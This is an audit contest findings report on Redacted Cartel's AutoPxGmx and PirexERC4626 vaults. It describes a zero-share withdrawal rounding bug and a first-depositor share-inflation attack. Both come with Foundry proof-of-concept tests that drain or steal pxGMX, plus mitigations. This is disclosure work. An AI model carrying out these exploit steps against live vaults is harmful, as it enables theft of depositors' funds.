Redacted Cartel contest - koxuan's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L323 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L199-L217 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L156-L165

Vulnerability details

Impact

Withdraw does not check for rounding error and it rounds down, allowing user to withdraw assets with 0 shares till vault share price is 1.

Proof of Concept

The code claims to say that previewWithdraw rounds up, therefore no need to check for rounding error. However, previewWithdraw was overriden in AutoPxGmx.

        shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up.

    function previewWithdraw(uint256 assets)
        public
        view
        override
        returns (uint256)
    {
        // Calculate shares based on the specified assets' proportion of the pool
        uint256 shares = convertToShares(assets);


        // Save 1 SLOAD
        uint256 _totalSupply = totalSupply;


        // Factor in additional shares to fulfill withdrawal if user is not the last to withdraw
        return
            (_totalSupply == 0 || _totalSupply - shares == 0)
                ? shares
                : (shares * FEE_DENOMINATOR) /
                    (FEE_DENOMINATOR - withdrawalPenalty);
    }

It calls the convertToShares in PirexERC4626 which AutoPxGmx inherits from.

    function convertToShares(uint256 assets)
        public
        view
        virtual
        returns (uint256)
    {
        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

        return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
    }

As you can see, the calculation is rounding down. Therefore, user can withdraw asset that is slightly lesser than the price of 1 share. This will cause shares to always be 0 while they withdraw asset that is slightly lesser than 1 share out of the pool.

place poc in AutoPxGmx.t.sol

    function testAttackerCanDrainFundTillPriceIsOne() external {
        uint256 initialTotalAssets = autoPxGmx.totalAssets();
        uint256 assets = 10;
        address receiver = address(this);
        uint256 expectedTotalAssets = assets;
        address attacker = testAccounts[0];



        _depositGmx(assets, receiver);
        pxGmx.approve(address(autoPxGmx), assets);
        autoPxGmx.deposit(assets, receiver);


        vm.startPrank(address(pirexGmx));
        pxGmx.mint(address(autoPxGmx), 10); //fastest way to get price of 1 share to be more than 1 pxGmx is to transfer some, now 1 share price = 2 pxGmx
        vm.stopPrank();


        vm.startPrank(attacker);
        assertEq(autoPxGmx.balanceOf(attacker) ,0); //assert attacker has 0 shares

        for(int i; i < 10; i++){
            autoPxGmx.withdraw(1, attacker, attacker);
        }
        assertEq(pxGmx.balanceOf(attacker) ,10); //attacker managed to withdraw 10 pxGmx without any shares
        vm.stopPrank();
    }

Attacker can just withdraw assets from the vault with zero shares, till the vault share price reaches 1. This means that whatever reward that is converted to pxGMX and added to the vault can be stolen by the public with zero shares, making it a cheap attack.

Tools Used

Foundry

Recommended Mitigation Steps

Round up when calculating shares in convertToShares function in PirexERC4626.

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L404 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L367-L404 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L330-L356 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L413-L431 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L80-L97 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L60-L78

Vulnerability details

Impact

As there is no minimum that user have to deposit in the vault at the beginning, the first user can deposit 1 asset to get 1 share. Then, he deliberately transfer large amount of assets (pxGMX or pxGLP) to inflate the price of 1 share. This causes a future user who deposit to lose out on precision loss as there is only 1 share in the pool but large amount of assets in the pool.

Proof of Concept

This vulnerability applies to PirexERC4626 mint and deposit and both autoPxGLP and autoPxGmx deposit* functions. Let's start with the first user calling deposit with value of parameter assets being 1 for autoPxGMX.

    
    function deposit(uint256 assets, address receiver)
        public
        virtual
        returns (uint256 shares)
    {
        if (totalAssets() != 0) beforeDeposit(receiver, assets, shares);

        // Check for rounding error since we round down in previewDeposit.
        require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

        // Need to transfer before minting or ERC777s could reenter.
        asset.safeTransferFrom(msg.sender, address(this), assets);

        _mint(receiver, shares);

        emit Deposit(msg.sender, receiver, assets, shares);

        afterDeposit(receiver, assets, shares);
    }

This is going to mint 1 share for the user. With only one share in the pool, the first user then transfers 1000 pxGMX into the vault. The price of 1 share went from 1 pxGMX to 1001.

Let's say second user decides to deposit 2000 pxGMX.

        if (
            (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
        ) revert ZeroShares();


        _mint(receiver, shares);

assets.mulDivDown(supply, totalAssets() - assets)) will calculate shares that user will get. 2000 * 1 / (3001 - 2000) which is 2001 /1001 and thus rounds down to 1 share. Notice the lost in precision due to supply being 1 only.

Now when first user withdraws, he will be taking half the assets of the vault as there are only 2 shares, 3001/2 = 1500 assets. He stole 500 from the second user, netting 454 after withdrawal penalty.

Place poc in AutoPxGmx.t.sol

    function testAttackerCanManipulatePriceAndGain() external {

        address attacker = testAccounts[0];
        address victim = testAccounts[1];

        vm.startPrank(address(pirexGmx));
        pxGmx.mint(attacker, 1001);
        pxGmx.mint(victim, 2000);
        vm.stopPrank();


        vm.startPrank(attacker);

        pxGmx.approve(address(autoPxGmx), 1001);

        autoPxGmx.deposit(1, attacker);
        pxGmx.transfer(address(autoPxGmx), 1000);
        assertEq(autoPxGmx.balanceOf(attacker) ,1); //assert attacker has 1 shares

        vm.stopPrank();

        vm.startPrank(victim);
        pxGmx.approve(address(autoPxGmx), 2000);
        autoPxGmx.deposit(2000, victim);
        assertEq(autoPxGmx.balanceOf(victim) ,1); //assert victim has 1 shares

        vm.stopPrank();

        vm.startPrank(attacker);

        autoPxGmx.redeem(1, attacker, attacker);

        emit log_uint(pxGmx.balanceOf(attacker)); //1455 -> gaining 454 after fees

        vm.stopPrank();
    }

As you can see, attacker has 1001 in the beginning. He ends the attack with 1455 pxGmx. Victim loses around 500 pxGmx from the attack. This attack can be scaled to the millions with the same concept.

Tools Used

Foundry

Recommended Mitigation Steps

Consider requiring a minimum amount of shares to be minted for the first minter, then send a part of the minter's share to address 0 to make it more resilient.